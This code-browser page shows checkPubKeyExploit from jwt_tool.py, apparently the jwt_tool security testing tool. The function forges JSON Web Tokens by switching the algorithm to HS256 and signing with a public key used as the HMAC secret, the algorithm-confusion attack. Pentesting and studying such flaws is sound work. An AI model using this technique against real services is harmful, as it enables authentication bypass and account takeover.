MCPcopy
hub / github.com/ticarpi/jwt_tool / checkPubKeyExploit

Function checkPubKeyExploit

jwt_tool.py:320–332  ·  view source on GitHub ↗
(headDict, paylB64, pubKey)

Source from the content-addressed store, hash-verified

318 return [CVEToken0, CVEToken1, CVEToken2, CVEToken3]
319
320def checkPubKeyExploit(headDict, paylB64, pubKey):
321 try:
322 key = open(pubKey).read()
323 cprintc("File loaded: "+pubKey, "cyan")
324 except:
325 cprintc("[-] File not found", "red")
326 exit(1)
327 newHead = headDict
328 newHead["alg"] = "HS256"
329 newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
330 newTok = newHead+"."+paylB64
331 newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newTok.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")
332 return newTok, newSig
333
334def injectpayloadclaim(payloadclaim, injectionvalue):
335 newpaylDict = paylDict

Callers 2

scanModePlaybookFunction · 0.85
runExploitsFunction · 0.85

Calls 1

cprintcFunction · 0.85

Tested by

no test coverage detected